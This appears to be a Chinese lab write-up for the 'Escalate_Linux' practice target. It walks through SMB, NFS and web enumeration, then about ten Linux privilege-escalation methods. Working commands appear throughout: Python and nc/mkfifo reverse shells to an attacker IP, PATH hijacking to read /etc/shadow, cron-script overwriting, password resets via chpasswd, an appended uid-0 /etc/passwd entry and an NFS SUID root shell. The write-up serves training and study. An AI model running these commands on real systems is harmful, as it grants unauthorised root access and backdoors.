Escalate_Linux靶机

server/2024/12/25 22:37:56/

Escalate_Linux靶机

前言:集合了多种liunx提权方法的靶场,通过该靶场可以简单的了解liunx提权方法

1,扫描一下端口

80/tcp open http

111/tcp open rpc 2049/udp nfs要知道对方的共享才能挂载

139/445 Samba

SMB是一个协议名,全称是Server Message Block(服务器消息快协议),用于在计算机间共享文件、打印机、串口等,电脑上的网上邻居由它实现。一般共享文件夹和打印机使用较多 它是应用层(和表示层)协议,使用C/S架构

当远程连接计算机访问共享资源时有两种方式: 
1.        \\共享计算机地址\共IP享资源路径
2.        \\共享计算机名\共享资源路径

smb的默认端口可能是139或者445,其工作的端口与其使用的协议有关。

Enum4linux是用于枚举windows和Linux系统上的SMB服务的工具。

smbclient 是一个在Unix/Linux系统中的一个应用程序,它允许用户以类似于 ftp 的方式访问Windows系统上的 共享资源。它是Samba 软件 套件的一部分,可以让Linux系统与 Windows系统 进行网络共享。

-L

列出服务器上的共享资源

-N

不需要密码

-U

指定用户名

-W

指定工作组

-d

指定调试级别

smbclient ///要访问的文件名 -I ip -N

这条路走不通换一条

像这种初始页面是没有什么东西的,进行目录爆破

这爆出来的没什么用,像这种情况换字典或者模糊测试

apache 不会解析asp/aspx(iis)这种是iis的站

http请求→中间件→框架→数据库

在页面或者一些tcp请求:

中间件→: 暴露在外网的

数据库:内网(服务器)

站库分离

apache+php+mysql

apache,tomcat , nginx , IIs7.0以上

wfuzz最方便

dirb

-X .php .html .asp 指定文件后缀爆破

菜刀(不到1mb)→蚁剑→冰蝎,哥斯拉

冰蝎可以做一些加密和混淆shell,常见的waf检测不出来,是免杀和绕过最好的

哥斯拉利于管理,也有一些免杀

使用which 测试对方有没有python

进行反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.128",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python -c 'import pty; pty.spawn("/bin/bash")'

稳定shell

在本机下载LinEnum

GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks

然后在kali上开启http服务,然后让目标下载下来

给权限

之后在tmp目录下启动,因为tmp目录权限大

还有一个linpeas.sh和上面的一样操作方法下载下来

然后给权限,进行执行./linpeas.sh和./linpeas.sh

history(历史命令)

存放了历史命令,如果出现了whoami uname -a 大概率就是被人打进来了

内网信息收集:

linpeas:不存在内核漏洞,因为它都没变红

1,每5分钟去执行一次这个脚本

与本地建立的链接也看的到

2,3306端口

3,用户信息

uid,gid和groups是可以提权的

信息泄露

5,nfs挂载权限问题,前面有no没有开启安全功能,可以在共享的功能底下去互相传输

6,这个文件有root权限

7,root文件信息(疑似可提权目录)

/var/mysql(已发现)

script(ls)

abc.txt(空文件)

shell(.sh执行bash -i)

.script.sh(已利用)

.bash_history ,历史记录中有进攻的提示!

/etc/crontab

收集好信息准备提权

1,user3

有一个shell文件,用ida查看

int __cdecl main(int argc, const char **argv, const char **envp)
{setuid(0);setgid(0);system("./.script.sh");return 0;
}

调用的是.script.sh

应该在当前目录下,如果不在用find / -name .script.sh 2>dev/null

查找

调用了bash -i

1,suid提权

运行就获取到了root权限

2,user5

它下面有应该script文件

源码

int __cdecl main(int argc, const char **argv, const char **envp)
{setuid(0);setgid(0);system("ls");return 0;
}

可以使用PATH赋权执行命令

export PATH=/tmp:$PATH,当前只需要执行ls命令,就会调用tmp目录下的文件去执行!

ls一般是在/etc/ls这里

现在设置成了全局变量

本身ls是在/etc/ls这里的

在tmp目录创建ls文件。

全局变量调用/tmp/ls

执行script就会执行ls,就会执行tmp的ls

就拿到root权限了!

3,暴力破解

目录枚举爆破

/etc/shadow ——存放密匙信息

没有权限去看的

借鉴方法2,进行查看

echo 'cat /etc/shadow' > ls
chmod 777 ls
export PATH=/tmp:$PATH
./script

使用hash-identifier进行读取

这个值是可以爆破的

爆破要的值要全选,包括前面的用户名

爆破的存放在john下面了

root:12345

4,user4 计划任务

每5分钟执行一次 /home/user4/Desktop/autoscript.sh

也bash -i

只有user4才能执行

两个方法,一暴力破解或者信息枚举,二可以用ls也可以用.sh

chpasswd —-

echo 'echo user4:12345 | chpasswd' > ls

user4的密码就被覆盖了

没有执行成功,因为里面的bash -i 是写进去的,覆盖掉就可以了

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.128 6666 >/tmp/f' > autoscript.sh

进行nc反弹

成功

5,mysql

mysql -uroot -proot

看库

use user 进入库

然后看一下表

查看表信息

mysql mysql@12345

显示没有权限,uid和gid都是mysql,这种时候给它一个权限

信息泄露

6,user8

如果mysql没有user8的信息泄露,还可以用ls和.sh进行覆盖密码进入。

root权限进入vi,没有任何编辑就可以执行任何命令

(root)NOPASSWD:/usr/bin/vi

7,user7

user7是gid为0的root组的成员!

openssl passwd dayuxiyou

echo "dayu:BKStJ5AmLV5aA:0:0:root:/root:/bin/bash" >>/etc/passwd

8,和方法7一样,user4 group也有root

9,nfs user5

no_root_squash —-关闭了安全功能

/home/user5 *w,no_root_squash)

mount -t nfs 192.168.0.134:/home/user5 /tmp/dayu

df看系统有没有挂载

unmount /tmp/dayu 结束,要退出当前目录

目录是共享状态

缺少文件

写一个通用的shell

#include <stdlib.h>
int main() { setuid(0); setgid(0); system("/bin/sh"); }

将其写入shell.c文件

gcc编译一下之后执行就可以拿到root权限了

10,user2

(user1)ALL 可以sudo -u user1 /bin/bash

(root)ALL 括号有root就有root的全部权限

进入user1

然后sudo -l 然后sudo su

总结:一个集合了多种提权方法的靶场


http://www.ppmy.cn/server/153157.html

相关文章

java Redis 操作工具类封装(备忘)

在 Java 中&#xff0c;封装 Redis 的常见操作是提升开发效率和代码可维护性的好方法。使用 Redis 可以帮助你的应用在缓存、消息队列、会话存储等方面显著提高性能。以下是一个基于 Jedis 客户端的 Redis 操作工具类封装示例。 1. 添加 Redis 依赖 首先&#xff0c;确保在 M…

thinkphp6使用MongoDB多个数据,聚合查询的坑

我使用的是thinkphp6,mongodb4.0实际业务查询 $list Db::connect(tstd_mongo)->table("$table_time.Item")->where($where)->order("Cause","asc")->field(_id,DBID,Data,GSID,MainKind,ManID,DISTINCT(Serial) Serial,SubKind,Tim…

115.【C语言】数据结构之排序(希尔排序)

目录 1.希尔排序(又称缩小增量排序)(插入排序的优化版本) 过程1:预排序 过程2:插入排序 2.代码 预排序代码 1.一次排一组(时间复杂度比第二种写法高) 运行结果 其他写法 2.一次排多组(多组并排) 运行结果 希尔排序代码 1.当预排序一次排一组时 运行结果 2.当预排…

mysql 获取某个表大小

有一个业务逻辑是判断日志表大小&#xff0c;如果达到1g,则需要报警提示 SELECT table_name as tableName, data_length AS size FROM information_schema.TABLES WHERE table_schema test AND table_name s_log; 其中test是库名&#xff0c;s_log是要查询的表名 经过测试…

用二进制方式向文件读写一组数据

【例10.4】从键盘输入10个学生的有关数据&#xff0c;然后把它们转存到磁盘文件上去。 #include<stdio.h> struct Student{char name[20];int number;int age; }; int main(){int i;struct Student stu;FILE *fp;fp fopen("1.txt","wb");if(fp N…

Flutter组件————FloatingActionButton

FloatingActionButton 是Flutter中的一个组件&#xff0c;通常用于显示一个圆形的按钮&#xff0c;它悬浮在内容之上&#xff0c;旨在吸引用户的注意力&#xff0c;并代表屏幕上的主要动作。这种按钮是Material Design的一部分&#xff0c;通常放置在页面的右下角&#xff0c;但…

JavaScript查缺补漏

文章目录 一、JavaScript是什么&#xff1f;1. JavaScript2.数组的使用3.函数默认参数4.对象中查找属性的另外写法 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 一、JavaScript是什么&#xff1f; 1. JavaScript 是一种运行在客户端&#xff08;浏…

便捷的线上游戏陪玩、线下家政预约以及语音陪聊服务怎么做?系统代码解析

系统架构选择的综合考虑 前端使用uniapp可跨平台开发&#xff0c;基于Vue.js的跨平台开发框架&#xff0c;允许开发者使用同一套代码基础构建面向iOS、Android、以及各种小程序&#xff08;如微信小程序&#xff09;、H5等多个平台的应用。 后端使用易于学习且免费开源的thin…